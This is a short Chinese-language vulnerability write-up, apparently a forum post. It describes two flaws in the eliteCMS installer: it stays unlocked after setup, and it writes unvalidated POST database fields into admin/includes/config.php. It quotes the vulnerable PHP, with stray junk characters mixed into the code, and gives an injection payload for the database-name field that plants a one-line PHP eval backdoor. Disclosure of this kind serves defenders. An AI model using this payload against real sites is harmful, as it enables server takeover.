eliteCMS安装文件未验证 + 一句话写入安全漏洞

admin

eliteCMS的安装程序安装结束后未作锁定，导致黑客可以通过访问安装程序地址进行重复安装

另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
我们来看代码：
/ z9 ]3 e+ O, x/ y' F. v: e$ [" @: [
...
elseif ($_GET['step'] == "4") {
    $file = "../admin/includes/config.php";
1 ^7 S7 H, P3 x- S# [0 E$ J$ G    $write = "<?php\n";
    $write .= "/**\n";
    $write .= "*\n";
    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";
...略...
    $write .= "*\n";
    $write .= "*/\n";
! ?6 z" R2 t' P! z9 y+ L    $write .= "\n";
    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
5 {+ s8 j! @& E9 O+ F. s- b. c; ?    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
1 K, c4 \1 I: R0 C* ?' G    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
2 q# E- J: C  U! P# y' G0 ]/ ~    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";
$ H- I! _# P; R( |6 V; L& W    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";
    $write .= "if (!\$connection) {\n";
' k3 _0 {, l, c# {3 {+ p+ f    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
    $write .= "        \n";
! H) I# R. k0 y# k0 r    $write .= "} \n";
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
    $write .= "if (!\$db_select) {\n";
' S( _$ b/ w) t0 O; N% f3 Y    $write .= "        die(\"Database select failed\" .mysql_error());\n";
4 {# [4 O+ T3 y    $write .= "        \n";
0 W8 @8 O; ^6 l5 |( N0 B    $write .= "} \n";
& ?4 O4 D3 Y5 S4 {% J% s    $write .= "?>\n";
$ ?6 _/ t' i1 c4 Z3 X# N
    $writer = fopen($file, 'w');
4 c+ w/ T# W& g3 Z. V2 v# `* `...
. z" s$ A: P  B! |
0 F2 j! g' L# S) P- G. G. ]+ x在看代码：

$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];
9 p) y- J* e# t. `! \$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
! U0 R% E' d; g; e6 c
取值未作任何验证
4 V% ~- H, R2 Y如果将数据库名POST数据：
! s' N* U# O) H$ W, ?
"?><?php eval($_POST[c]);?><?php
; N. q  u; r3 ~8 j3 y8 @+ q1 g4 n
5 N) x* w* d2 g8 g; q将导致一句话后门写入/admin/includes/config.php